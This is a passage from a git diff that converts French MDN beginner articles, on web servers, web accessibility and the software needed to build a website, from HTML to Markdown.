fonctionnent et pourquoi ils sont importants.</p> +Dans cet article, nous verrons ce que sont les serveurs web, comment ils fonctionnent et pourquoi ils sont importants. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devriez au préalable savoir<a href="/fr/docs/Apprendre/Fonctionnement_Internet"> comment Internet fonctionne</a>, <a href="/fr/docs/Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche">les différences entre une page web, un site web, un serveur web et un moteur de recherche</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Vous apprendrez ce qu'est un serveur web et comprendrez son fonctionnement général.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devriez au préalable savoir<a + href="/fr/docs/Apprendre/Fonctionnement_Internet" + > + comment Internet fonctionne</a + >, + <a href="/fr/docs/Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche" + >les différences entre une page web, un site web, un serveur web et un + moteur de recherche</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Vous apprendrez ce qu'est un serveur web et comprendrez son + fonctionnement général. + </td> + </tr> + </tbody> </table> -<p>Un « serveur web » peut faire référence à des composants logiciels (<em>software</em>) ou à des composants matériels (<em>hardware</em>) ou à des composants logiciels et matériels qui fonctionnent ensemble.</p> +Un « serveur web » peut faire référence à des composants logiciels (_software_) ou à des composants matériels (_hardware_) ou à des composants logiciels et matériels qui fonctionnent ensemble. -<ol> - <li>Au niveau des composants matériels, un serveur web est un ordinateur qui stocke les fichiers qui composent un site web (par exemple les documents HTML, les images, les feuilles de style CSS, les fichiers JavaScript) et qui les envoie à l'appareil de l'utilisateur qui visite le site. Cet ordinateur est connecté à Internet et est généralement accessible via un nom de domaine tel que <code>mozilla.org</code>.</li> - <li>Au niveau des composants logiciels, un serveur web contient différents fragments qui contrôlent la façon dont les utilisateurs peuvent accéder aux fichiers hébergés. On trouvera au minimum un serveur <em>HTTP</em>. Un serveur HTTP est un logiciel qui comprend les {{Glossary("URL")}} et le protocole {{Glossary("HTTP")}} (le protocole utilisé par le navigateur pour afficher les pages web).</li> -</ol> +1. Au niveau des composants matériels, un serveur web est un ordinateur qui stocke les fichiers qui composent un site web (par exemple les documents HTML, les images, les feuilles de style CSS, les fichiers JavaScript) et qui les envoie à l'appareil de l'utilisateur qui visite le site. Cet ordinateur est connecté à Internet et est généralement accessible via un nom de domaine tel que `mozilla.org`. +2. Au niveau des composants logiciels, un serveur web contient différents fragments qui contrôlent la façon dont les utilisateurs peuvent accéder aux fichiers hébergés. On trouvera au minimum un serveur _HTTP_. Un serveur HTTP est un logiciel qui comprend les {{Glossary("URL")}} et le protocole {{Glossary("HTTP")}} (le protocole utilisé par le navigateur pour afficher les pages web). -<p>Au niveau le plus simple, à chaque fois qu'un navigateur a besoin d'un fichier hébergé sur un serveur web, le navigateur demande (on dit qu'il envoie une requête) le fichier via HTTP. Quand la requête atteint le bon serveur web (<em>matériel</em>), le serveur HTTP (<em>logiciel</em>) renvoie le document demandé, également grâce à HTTP.</p> +Au niveau le plus simple, à chaque fois qu'un navigateur a besoin d'un fichier hébergé sur un serveur web, le navigateur demande (on dit qu'il envoie une requête) le fichier via HTTP. Quand la requête atteint le bon serveur web (_matériel_), le serveur HTTP (_logiciel_) renvoie le document demandé, également grâce à HTTP. -<p><img alt="Basic representation of a client/server connection through HTTP" src="web-server.svg"></p> + -<p>Pour publier un site web, vous aurez besoin d'un serveur web <strong>statique</strong> ou <strong>dynamique</strong>.</p> +Pour publier un site web, vous aurez besoin d'un serveur web **statique** ou **dynamique**. -<p>Un serveur web<strong> statique</strong> (aussi appelé une pile) est composé d'un ordinateur (<em>matériel</em>) et d'un serveur HTTP (<em>logiciel</em>). Il est appelé « statique » car le serveur envoie les fichiers hébergés « tels quels » vers le navigateur.</p> +Un serveur web **statique** (aussi appelé une pile) est composé d'un ordinateur (_matériel_) et d'un serveur HTTP (_logiciel_). Il est appelé « statique » car le serveur envoie les fichiers hébergés « tels quels » vers le navigateur. -<p>Un serveur web <strong>dynamique </strong>possède d'autres composants logiciels, certains qu'on retrouve fréquemment dont un <em>serveur d'applications</em> et une <em>base de données</em>. Il est appelé « dynamique » car le serveur d'applications met à jour les fichiers hébergés avant de les envoyer au navigateur via HTTP.</p> +Un serveur web **dynamique** possède d'autres composants logiciels, certains qu'on retrouve fréquemment dont un _serveur d'applications_ et une _base de données_. Il est appelé « dynamique » car le serveur d'applications met à jour les fichiers hébergés avant de les envoyer au navigateur via HTTP. -<p>Par exemple, afin de produire la page web que vous voyez sur votre navigateur, le serveur d'applications serveur peut utiliser un modèle HTML et le remplir avec des données. Ainsi, des sites comme MDN ou Wikipédia ont des milliers de pages mais il n'existe pas un document HTML réel pour chacune de ces pages. En fait, il y a quelques modèles (ou gabarits) HTML qui sont utilisés avec une gigantesque base de données. Cette organisation permet de mieux mettre à disposition le contenu et de maintenir plus efficacement le site.</p> +Par exemple, afin de produire la page web que vous voyez sur votre navigateur, le serveur d'applications serveur peut utiliser un modèle HTML et le remplir avec des données. Ainsi, des sites comme MDN ou Wikipédia ont des milliers de pages mais il n'existe pas un document HTML réel pour chacune de ces pages. En fait, il y a quelques modèles (ou gabarits) HTML qui sont utilisés avec une gigantesque base de données. Cette organisation permet de mieux mettre à disposition le contenu et de maintenir plus efficacement le site. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Il n'y a, pour le moment, pas d'élément de pédagogie active pour cette section. <a href="/fr/docs/MDN/D%C3%A9buter_sur_MDN">Vous pouvez néanmoins contribuer</a>.</em></p> +_Il n'y a, pour le moment, pas d'élément de pédagogie active pour cette section. [Vous pouvez néanmoins contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<p>Pour récupérer une page web, votre navigateur envoie une requête au serveur web. Celui-ci traite alors la requête pour le fichier demandé, présent sur son espace mémoire. Lorsqu'il trouve le fichier, le serveur le lit, le manipule si nécessaire et l'envoie au navigateur. Dans cette section, nous allons décrire en détails chacune de ces étapes.</p> +Pour récupérer une page web, votre navigateur envoie une requête au serveur web. Celui-ci traite alors la requête pour le fichier demandé, présent sur son espace mémoire. Lorsqu'il trouve le fichier, le serveur le lit, le manipule si nécessaire et l'envoie au navigateur. Dans cette section, nous allons décrire en détails chacune de ces étapes. -<h3 id="Héberger_des_fichiers">Héberger des fichiers</h3> +### Héberger des fichiers -<p>Un serveur web doit stocker les fichiers nécessaires au fonctionnement du site web : tous les documents HTML et les ressources liées dont les images, les fichiers JavaScript, les feuilles de styles, les fichiers de fontes, les vidéos, etc.</p> +Un serveur web doit stocker les fichiers nécessaires au fonctionnement du site web : tous les documents HTML et les ressources liées dont les images, les fichiers JavaScript, les feuilles de styles, les fichiers de fontes, les vidéos, etc. -<p>D'un point de vue technique, il serait tout à fait possible de stocker tout ces éléments sur son propre ordinateur. Toutefois, il est beaucoup plus pratique d'utiliser un serveur web destiné spécifiquement à cela car il devra :</p> +D'un point de vue technique, il serait tout à fait possible de stocker tout ces éléments sur son propre ordinateur. Toutefois, il est beaucoup plus pratique d'utiliser un serveur web destiné spécifiquement à cela car il devra : -<ul> - <li>toujours être en fonctionnement</li> - <li>toujours être connecté à Internet</li> - <li>conserver la même adresse IP au cours du temps (tous les fournisseurs d'accès ne fournissent pas une adresse IP fixe pour les particuliers)</li> - <li>être maintenu par un fournisseur tiers.</li> -</ul> +- toujours être en fonctionnement +- toujours être connecté à Internet +- conserver la même adresse IP au cours du temps (tous les fournisseurs d'accès ne fournissent pas une adresse IP fixe pour les particuliers) +- être maintenu par un fournisseur tiers. -<p>Au regard de toutes ces raisons, il est crucial de trouver un hébergeur correct pour votre site web. Prenez donc le temps de parcourir les différentes offres afin de choisir celle qui correspond le mieux à votre besoin et à votre budget (qui pourra varier entre 0 € et plusieurs milliers d'euros par mois selon ce qui est demandé). Vous trouverez d'autres détails sur ce point <a href="/fr/Apprendre/How_much_does_it_cost#Hosting">dans cet article</a>.</p> +Au regard de toutes ces raisons, il est crucial de trouver un hébergeur correct pour votre site web. Prenez donc le temps de parcourir les différentes offres afin de choisir celle qui correspond le mieux à votre besoin et à votre budget (qui pourra varier entre 0 € et plusieurs milliers d'euros par mois selon ce qui est demandé). Vous trouverez d'autres détails sur ce point [dans cet article](/fr/Apprendre/How_much_does_it_cost#Hosting). -<p>Une fois que vous avez trouvé votre hébergeur et la solution d'hébergement qui vous convient, il vous suffira <a href="/fr/docs/Apprendre/Transférer_des_fichiers_vers_un_serveur_web">de transférer vos fichiers vers le serveur web</a>.</p> +Une fois que vous avez trouvé votre hébergeur et la solution d'hébergement qui vous convient, il vous suffira [de transférer vos fichiers vers le serveur web](/fr/docs/Apprendre/Transférer_des_fichiers_vers_un_serveur_web). -<h3 id="Communiquer_via_HTTP">Communiquer via HTTP</h3> +### Communiquer via HTTP -<p>Un serveur web supporte le protocole {{Glossary("HTTP")}} (pour <em>HyperText Transfer Protocol</em> en anglais soit Protocole de transfert hypertexte). Comme son nom l'indique, HTTP définit comment transférer des fichiers hypertextes (c'est-à-dire des documents web liés entre eux) entre deux ordinateurs.</p> +Un serveur web supporte le protocole {{Glossary("HTTP")}} (pour _HyperText Transfer Protocol_ en anglais soit Protocole de transfert hypertexte). Comme son nom l'indique, HTTP définit comment transférer des fichiers hypertextes (c'est-à-dire des documents web liés entre eux) entre deux ordinateurs. -<p>Ici, un <em>protocole </em>est un ensemble de règles définissant la communication entre deux ordinateurs. HTTP est un protocole textuel, sans état.</p> +Ici, un _protocole_ est un ensemble de règles définissant la communication entre deux ordinateurs. HTTP est un protocole textuel, sans état. -<dl> - <dt>Textuel</dt> - <dd>Toutes les commandes qui sont échangées sont du texte pouvant être lu par un humain.</dd> - <dt>Sans état</dt> - <dd>Ni le serveur, ni le client (l'ordinateur sur lequel est le navigateur) ne se souviennent des communications précédentes. Par exemple, si on utilisait uniquement HTTP, un serveur ne pourrait pas se souvenir si un mot de passe a été saisi ou si une transaction est en cours (pour gérer cela, il faut utiliser un serveur d'applications).</dd> -</dl> +- Textuel + - : Toutes les commandes qui sont échangées sont du texte pouvant être lu par un humain. +- Sans état + - : Ni le serveur, ni le client (l'ordinateur sur lequel est le navigateur) ne se souviennent des communications précédentes. Par exemple, si on utilisait uniquement HTTP, un serveur ne pourrait pas se souvenir si un mot de passe a été saisi ou si une transaction est en cours (pour gérer cela, il faut utiliser un serveur d'applications). -<p>HTTP fournit des règles claires qui indiquent comment un client et un serveur communiquent. HTTP fait l'objet d'un <a href="/fr/docs/Web/HTTP">article technique</a> à part entière. Pour le moment, voici les points les plus importants à garder en mémoire :</p> +HTTP fournit des règles claires qui indiquent comment un client et un serveur communiquent. HTTP fait l'objet d'un [article technique](/fr/docs/Web/HTTP) à part entière. Pour le moment, voici les points les plus importants à garder en mémoire : -<ul> - <li>Seuls les <em>clients</em> peuvent effectuer des requêtes HTTP et uniquement vers des<em> serveurs. </em>Les serveurs ne peuvent que <em>répondre</em> à la requête d'un <em>client</em>.</li> - <li>Lorsque le client demande un fichier via HTTP, il doit fournir l'{{Glossary("URL")}} du fichier en question.</li> - <li>Le serveur web <em>doit </em>répondre à chaque requête HTTP même si la réponse est un message d'erreur.</li> -</ul> +- Seuls les _clients_ peuvent effectuer des requêtes HTTP et uniquement vers des _serveurs._ Les serveurs ne peuvent que _répondre_ à la requête d'un _client_. +- Lorsque le client demande un fichier via HTTP, il doit fournir l'{{Glossary("URL")}} du fichier en question. +- Le serveur web _doit_ répondre à chaque requête HTTP même si la réponse est un message d'erreur. -<p>Sur un serveur web, le serveur HTTP est responsable du traitement des requêtes reçues et de leurs réponses.</p> +Sur un serveur web, le serveur HTTP est responsable du traitement des requêtes reçues et de leurs réponses. -<ol> - <li>Une fois qu'il a reçu une requête, le serveur HTTP vérifie que l'URL demandée correspond à un fichier existant.</li> - <li>Si c'est le cas, le serveur envoie le fichier vers le navigateur du client. Sinon, le serveur d'applications génère le fichier nécessaire.</li> - <li>Si le fichier n'existe pas ou que le traitement est impossible, le serveur web renvoie un message d'erreur au navigateur. Le message d'erreur le plus fréquemment rencontré est {{HTTPStatus("404", "404 Page non trouvée")}} (cette erreur étant plutôt fréquente, certains ont même personnalisé et adapté <a href="http://www.404notfound.fr/" rel="external">les pages d'erreurs 404</a> de leurs sites).</li> -</ol> +1. Une fois qu'il a reçu une requête, le serveur HTTP vérifie que l'URL demandée correspond à un fichier existant. +2. Si c'est le cas, le serveur envoie le fichier vers le navigateur du client. Sinon, le serveur d'applications génère le fichier nécessaire. +3. Si le fichier n'existe pas ou que le traitement est impossible, le serveur web renvoie un message d'erreur au navigateur. Le message d'erreur le plus fréquemment rencontré est {{HTTPStatus("404", "404 Page non trouvée")}} (cette erreur étant plutôt fréquente, certains ont même personnalisé et adapté [les pages d'erreurs 404](http://www.404notfound.fr/) de leurs sites). -<p><img alt="Une page d'erreur HTTP, en l'occurrence la page 404 de MDN" src="Capture.PNG"></p> + -<h3 id="Contenu_statique_et_contenu_dynamique">Contenu statique et contenu dynamique</h3> +### Contenu statique et contenu dynamique -<p>En résumé, un serveur peut « servir » du contenu statique ou dynamique. Un contenu « statique » signifie qu'il est servi tel quel. Les sites web statiques sont les plus simples à mettre en œuvre et il sera donc préférable de commencer par un site statique.</p> +En résumé, un serveur peut « servir » du contenu statique ou dynamique. Un contenu « statique » signifie qu'il est servi tel quel. Les sites web statiques sont les plus simples à mettre en œuvre et il sera donc préférable de commencer par un site statique. -<p>Un site « dynamique » signifie que le serveur traite le contenu ou le génère à la volée depuis les informations contenues dans une base de données. Cette solution est plus flexible mais beaucoup plus complexe à mettre en œuvre.</p> +Un site « dynamique » signifie que le serveur traite le contenu ou le génère à la volée depuis les informations contenues dans une base de données. Cette solution est plus flexible mais beaucoup plus complexe à mettre en œuvre. -<p>Prenons l'exemple de la page que vous êtes en train de lire. Sur le serveur web qui l'héberge, il y a une serveur d'applications qui tire l'article d'une base de données, le formate et l'insère dans différents modèles HTML. Une fois ce traitement effectué, le serveur envoie le fichier vers votre navigateur. Ici, le serveur d'applications s'appelle <a href="/fr/docs/MDN/Kuma">Kuma</a> et est construit en <a href="https://www.python.org/">Python</a> (grâce au <em>framework</em> <a href="https://www.djangoproject.com/">Django</a>). L'équipe Mozilla a construit Kuma afin qu'il réponde aux besoins spécifiques de MDN mais il existe de nombreuses autres applications, éventuellement construites sur d'autres technologies.</p> +Prenons l'exemple de la page que vous êtes en train de lire. Sur le serveur web qui l'héberge, il y a une serveur d'applications qui tire l'article d'une base de données, le formate et l'insère dans différents modèles HTML. Une fois ce traitement effectué, le serveur envoie le fichier vers votre navigateur. Ici, le serveur d'applications s'appelle [Kuma](/fr/docs/MDN/Kuma) et est construit en [Python](https://www.python.org/) (grâce au *framework* [Django](https://www.djangoproject.com/)). L'équipe Mozilla a construit Kuma afin qu'il réponde aux besoins spécifiques de MDN mais il existe de nombreuses autres applications, éventuellement construites sur d'autres technologies. -<p>Il y a tellement de serveurs d'applications qu'il est difficile d'en suggérer un en particulier. Certains serveurs d'applications sont consacrés à certaines catégories de site web comme les blogs, les wikis, les boutiques en ligne, etc. D'autres, appelés {{Glossary("CMS")}} (pour <em>Content Management Systems</em> en anglais ou « Systèmes de gestion des contenus ») sont plus génériques. Si vous construisez un site web dynamique, prenez le temps d'étudier les outils disponibles pour choisir celui qui correspondra à votre projet. Sauf si vous souhaitez apprendre des éléments de programmation serveur (ce qui est très intéressant), vous n'avez pas besoin de créer votre serveur d'applications de toute pièce (cela reviendrait à réinventer la roue).</p> +Il y a tellement de serveurs d'applications qu'il est difficile d'en suggérer un en particulier. Certains serveurs d'applications sont consacrés à certaines catégories de site web comme les blogs, les wikis, les boutiques en ligne, etc. D'autres, appelés {{Glossary("CMS")}} (pour _Content Management Systems_ en anglais ou « Systèmes de gestion des contenus ») sont plus génériques. Si vous construisez un site web dynamique, prenez le temps d'étudier les outils disponibles pour choisir celui qui correspondra à votre projet. Sauf si vous souhaitez apprendre des éléments de programmation serveur (ce qui est très intéressant), vous n'avez pas besoin de créer votre serveur d'applications de toute pièce (cela reviendrait à réinventer la roue). -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +## Prochaines étapes -<p>Maintenant que vous connaissez les serveurs web, vous pourriez :</p> +Maintenant que vous connaissez les serveurs web, vous pourriez : -<ul> - <li>continuer votre lecture avec<a href="/fr/docs/Apprendre/Publier_sur_le_Web_combien_ça_coûte"> combien ça coûte de faire quelque chose sur le Web</a></li> - <li>en savoir plus sur <a href="/fr/docs/Apprendre/Quels_logiciels_sont_nécessaires_pour_construire_un_site_web">les différents logiciels nécessaires à la création d'un site web</a></li> - <li>poursuivre avec quelque chose de plus pratique comme <a href="/fr/docs/Apprendre/Transférer_des_fichiers_vers_un_serveur_web">comment transférer des fichiers vers un serveur web</a>.</li> -</ul> +- continuer votre lecture avec[ combien ça coûte de faire quelque chose sur le Web](/fr/docs/Apprendre/Publier_sur_le_Web_combien_ça_coûte) +- en savoir plus sur [les différents logiciels nécessaires à la création d'un site web](/fr/docs/Apprendre/Quels_logiciels_sont_nécessaires_pour_construire_un_site_web) +- poursuivre avec quelque chose de plus pratique comme [comment transférer des fichiers vers un serveur web](/fr/docs/Apprendre/Transférer_des_fichiers_vers_un_serveur_web). diff --git a/files/fr/learn/common_questions/what_is_accessibility/index.md b/files/fr/learn/common_questions/what_is_accessibility/index.md index 60991cfd2b..6df7c2373b 100644 --- a/files/fr/learn/common_questions/what_is_accessibility/index.md +++ b/files/fr/learn/common_questions/what_is_accessibility/index.md @@ -10,83 +10,77 @@ tags: translation_of: Learn/Common_questions/What_is_accessibility original_slug: Apprendre/Accessibilité --- -<p>Cet article aborde les concepts de base qui forment l'accessibilité pour le Web.</p> +Cet article aborde les concepts de base qui forment l'accessibilité pour le Web. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Aucun.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Comprendre ce qu'est l'accessibilité et pourquoi elle est importante.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td>Aucun.</td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Comprendre ce qu'est l'accessibilité et pourquoi elle est importante. + </td> + </tr> + </tbody> </table> -<p>Que ce soit en raison de limitations physiques ou techniques, il peut arriver que les visiteurs de votre site web ne peuvent l'utiliser comme vous le pensiez. Dans cet article, vous trouverez quelques principes généraux à propos de l'accessibilité, ainsi que quelques règles que nous expliquerons.</p> +Que ce soit en raison de limitations physiques ou techniques, il peut arriver que les visiteurs de votre site web ne peuvent l'utiliser comme vous le pensiez. Dans cet article, vous trouverez quelques principes généraux à propos de l'accessibilité, ainsi que quelques règles que nous expliquerons. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Il n'y a, pour le moment, pas de matériau pour la pédagogie active. <a href="/fr/docs/MDN/D%C3%A9buter_sur_MDN">Cependant, vous pouvez contribuer</a>.</em></p> +_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<h3 id="Principes_généraux_de_l'accessibilité">Principes généraux de l'accessibilité</h3> +### Principes généraux de l'accessibilité -<p>En premier lieu, on associe parfois l'accessibilité avec des limitations péjoratives. Ce bâtiment doit être accessible et doit donc respecter ces règlements pour les largeurs de portes, la taille des toilettes, l'emplacement de l'ascenseur.</p> +En premier lieu, on associe parfois l'accessibilité avec des limitations péjoratives. Ce bâtiment doit être accessible et doit donc respecter ces règlements pour les largeurs de portes, la taille des toilettes, l'emplacement de l'ascenseur. -<p>Cette approche est plutôt limitée. Dans tous les cas, l'accessibilité permet d'atteindre plus de personnes, éventuellement de servir plus de clients. Comment font les Brésiliens pour utiliser un site uniquement en anglais ou français ? Est-ce que les personnes qui possèdent des smartphones peuvent naviguer sur des sites encombrés, conçus pour être affichés uniquement sur de grands écrans et avec une bande passante important ? Ces personnes passeront leur chemin. De façon général, <em>nous devons penser nos produits et nos créations avec le point de vue de l'ensemble du public ou des clients et nous devons nous adapter par rapport à ce point de vue, d'où la raison d'être de l'accessibilité</em>.</p> +Cette approche est plutôt limitée. Dans tous les cas, l'accessibilité permet d'atteindre plus de personnes, éventuellement de servir plus de clients. Comment font les Brésiliens pour utiliser un site uniquement en anglais ou français ? Est-ce que les personnes qui possèdent des smartphones peuvent naviguer sur des sites encombrés, conçus pour être affichés uniquement sur de grands écrans et avec une bande passante important ? Ces personnes passeront leur chemin. De façon général, _nous devons penser nos produits et nos créations avec le point de vue de l'ensemble du public ou des clients et nous devons nous adapter par rapport à ce point de vue, d'où la raison d'être de l'accessibilité_. -<h3 id="L'accessibilité_sur_le_Web">L'accessibilité sur le Web</h3> +### L'accessibilité sur le Web -<p>Dans le cadre spécifique qu'est le Web, l'accessibilité signifie que n'importe qui peut accéder au contenu que vous publiez en ligne, quel que soit la situation de handicap, l'emplacement géographique, les limitations techniques ou autres.</p> +Dans le cadre spécifique qu'est le Web, l'accessibilité signifie que n'importe qui peut accéder au contenu que vous publiez en ligne, quel que soit la situation de handicap, l'emplacement géographique, les limitations techniques ou autres. -<p>Prenons l'exemple de la vidéo :</p> +Prenons l'exemple de la vidéo : -<dl> - <dt>Déficience auditive</dt> - <dd>Comment une personne déficiente auditivement peut-elle profiter de la vidéo ? Il est nécessaire de fournir des sous-titres, voire mieux, une transcription écrite complète. Assurez-vous également que les personnes puissent ajuster le volume à leur convenance.</dd> - <dt>Déficience visuelle</dt> - <dd>Ici aussi, il est préférable de fournir une transcription que l'utilisateur pourra consulter sans lancer la vidéo, ainsi qu'une audio-description décrivant, en voix off, ce qui se passe dans la vidéo.</dd> - <dt>Mise en pause</dt> - <dd>Certains utilisateurs peuvent avoir du mal à comprendre ce qui est dit par quelqu'un dans la vidéo. La fonctionnalité de mise en pause peut leur permettre de lire les sous-titres ou de comprendre l'information.</dd> - <dt>Utilisation du clavier</dt> - <dd>Laissez à l'utilisateur la possibilité de lancer la vidéo mais aussi de la mettre en pause grâce à des touches du clavier.</dd> -</dl> +- Déficience auditive + - : Comment une personne déficiente auditivement peut-elle profiter de la vidéo ? Il est nécessaire de fournir des sous-titres, voire mieux, une transcription écrite complète. Assurez-vous également que les personnes puissent ajuster le volume à leur convenance. +- Déficience visuelle + - : Ici aussi, il est préférable de fournir une transcription que l'utilisateur pourra consulter sans lancer la vidéo, ainsi qu'une audio-description décrivant, en voix off, ce qui se passe dans la vidéo. +- Mise en pause + - : Certains utilisateurs peuvent avoir du mal à comprendre ce qui est dit par quelqu'un dans la vidéo. La fonctionnalité de mise en pause peut leur permettre de lire les sous-titres ou de comprendre l'information. +- Utilisation du clavier + - : Laissez à l'utilisateur la possibilité de lancer la vidéo mais aussi de la mettre en pause grâce à des touches du clavier. -<h4 id="Les_bases_de_l'accessibilité_web">Les bases de l'accessibilité web</h4> +#### Les bases de l'accessibilité web -<p>Afin qu'un page web soit un minimum accessible, il faut :</p> +Afin qu'un page web soit un minimum accessible, il faut : -<ul> - <li>Fournir des alternatives textuelles pour toutes les images du site qui sont utilisées pour porter du sens. Cela permettra aux personnes atteint d'une déficience visuelle d'utiliser un logiciel pour lire cette description ou aux personnes avec des connexions erratiques de récupérer le texte et de l'afficher avant l'image.</li> - <li>S'assurer que tous les utilisateurs peuvent manipuler les interfaces graphiques (par exemple les menus déroulants) avec le clavier (par exemple avec la touche tabulation ou la touche Entrée).</li> - <li>Fournir un attribut qui définisse le langage utilisé pour le contenu de la page afin qu'un logiciel lecteur d'écran puisse lire le texte correctement.</li> - <li>S'assurer que tous les utilisateurs puissent naviguer entre les différents éléments d'une page avec le clavier sans être « piégés » dans un endroit de la page (c'est généralement la touche tabulation qui est utilisée pour ce type d'actions)</li> -</ul> +- Fournir des alternatives textuelles pour toutes les images du site qui sont utilisées pour porter du sens. Cela permettra aux personnes atteint d'une déficience visuelle d'utiliser un logiciel pour lire cette description ou aux personnes avec des connexions erratiques de récupérer le texte et de l'afficher avant l'image. +- S'assurer que tous les utilisateurs peuvent manipuler les interfaces graphiques (par exemple les menus déroulants) avec le clavier (par exemple avec la touche tabulation ou la touche Entrée). +- Fournir un attribut qui définisse le langage utilisé pour le contenu de la page afin qu'un logiciel lecteur d'écran puisse lire le texte correctement. +- S'assurer que tous les utilisateurs puissent naviguer entre les différents éléments d'une page avec le clavier sans être « piégés » dans un endroit de la page (c'est généralement la touche tabulation qui est utilisée pour ce type d'actions) -<p>Ces règles ne forment qu'un minimum nécessaire pour l'accessibilité.</p> +Ces règles ne forment qu'un minimum nécessaire pour l'accessibilité. -<h3 id="Les_défendeurs_de_l'accessibilité">Les défendeurs de l'accessibilité</h3> +### Les défendeurs de l'accessibilité -<p>Depuis 1999, le {{Glossary("W3C")}} possède un groupe de travail appelé {{Glossary("WAI","Web Accessibility Initiative")}} (<em>WAI</em> ou Initiative pour l'Accessibilité du Web en français) qui promeut l'accessibilité grâce à des recommandations, des ressources d'aide et des matériaux internationaux sur l'accessibilité.</p> +Depuis 1999, le {{Glossary("W3C")}} possède un groupe de travail appelé {{Glossary("WAI","Web Accessibility Initiative")}} (_WAI_ ou Initiative pour l'Accessibilité du Web en français) qui promeut l'accessibilité grâce à des recommandations, des ressources d'aide et des matériaux internationaux sur l'accessibilité. -<h2 id="Plus_de_détails">Plus de détails</h2> +## Plus de détails -<p>Vous pouvez vous référer à :</p> +Vous pouvez vous référer à : -<ul> - <li><a href="https://fr.wikipedia.org/wiki/Accessibilit%C3%A9">L'article Wikipédia</a> sur l'accessibilité</li> - <li><a href="http://www.w3.org/WAI/">Le site WAI (le projet W3C's Web Accessibility Initiative) (en anglais)</a></li> -</ul> +- [L'article Wikipédia](https://fr.wikipedia.org/wiki/Accessibilit%C3%A9) sur l'accessibilité +- [Le site WAI (le projet W3C's Web Accessibility Initiative) (en anglais)](http://www.w3.org/WAI/) -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +## Prochaines étapes -<p>L'accessibilité peut avoir un impact tant sur le design d'un site que sur sa structure technique.</p> +L'accessibilité peut avoir un impact tant sur le design d'un site que sur sa structure technique. -<ul> - <li>Pour le design, nous vous conseillons de lire <a href="/fr/Apprendre/Concevoir_site_tous_types_utilisateurs">Concevoir un site pour tous les types d'utilisateurs</a>.</li> - <li>Pour l'aspect technique, vous pourriez commencer par voir comment <a href="/fr/Apprendre/HTML/Howto/Add_images_to_a_webpage">intégrer des images dans des pages web</a>.</li> -</ul> +- Pour le design, nous vous conseillons de lire [Concevoir un site pour tous les types d'utilisateurs](/fr/Apprendre/Concevoir_site_tous_types_utilisateurs). +- Pour l'aspect technique, vous pourriez commencer par voir comment [intégrer des images dans des pages web](/fr/Apprendre/HTML/Howto/Add_images_to_a_webpage). diff --git a/files/fr/learn/common_questions/what_software_do_i_need/index.md b/files/fr/learn/common_questions/what_software_do_i_need/index.md index 61d1cefa8f..8b3b46c806 100644 --- a/files/fr/learn/common_questions/what_software_do_i_need/index.md +++ b/files/fr/learn/common_questions/what_software_do_i_need/index.md @@ -9,180 +9,219 @@ tags: translation_of: Learn/Common_questions/What_software_do_I_need original_slug: Apprendre/Quels_logiciels_sont_nécessaires_pour_construire_un_site_web --- -<p>Dans cet article, nous listons les logiciels nécessaires pour éditer, mettre en ligne ou consulter un site web.</p> +Dans cet article, nous listons les logiciels nécessaires pour éditer, mettre en ligne ou consulter un site web. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devriez déjà connaître <a href="/fr/Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche">la différence entre une page web, un serveur web et un moteur de recherche.</a></td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Connaître les logiciels qui sont nécessaires pour créer, éditer, mettre en ligne ou consulter un site web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devriez déjà connaître + <a href="/fr/Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche" + >la différence entre une page web, un serveur web et un moteur de + recherche.</a + > + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Connaître les logiciels qui sont nécessaires pour créer, éditer, mettre + en ligne ou consulter un site web. + </td> + </tr> + </tbody> </table> -<p>La plupart des logiciels nécessaires au développement d'un site web peuvent être téléchargés gratuitement sur Internet. Quelques liens seront fournis au fur et à mesure de l'article. Vous aurez besoin d'outils pour :</p> +La plupart des logiciels nécessaires au développement d'un site web peuvent être téléchargés gratuitement sur Internet. Quelques liens seront fournis au fur et à mesure de l'article. Vous aurez besoin d'outils pour : -<ol> - <li>Créer et éditer des pages web</li> - <li>Téléverser (<em>uploader</em>) vos fichiers vers votre serveur web</li> - <li>Visualiser votre site web.</li> -</ol> +1. Créer et éditer des pages web +2. Téléverser (_uploader_) vos fichiers vers votre serveur web +3. Visualiser votre site web. -<p>Tous les systèmes d'exploitation (ou presque) possèdent par défaut un éditeur de texte et un outil pour visualiser des sites web (qu'on appellera un navigateur web). Seul l'outil qui permet de transférer les fichiers vers votre serveur web pourrait manquer à l'appel.</p> +Tous les systèmes d'exploitation (ou presque) possèdent par défaut un éditeur de texte et un outil pour visualiser des sites web (qu'on appellera un navigateur web). Seul l'outil qui permet de transférer les fichiers vers votre serveur web pourrait manquer à l'appel. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Il n'y a, pour le moment, pas de matériau pour la pédagogie active. <a href="/fr/docs/MDN/D%C3%A9buter_sur_MDN">Cependant, vous pouvez 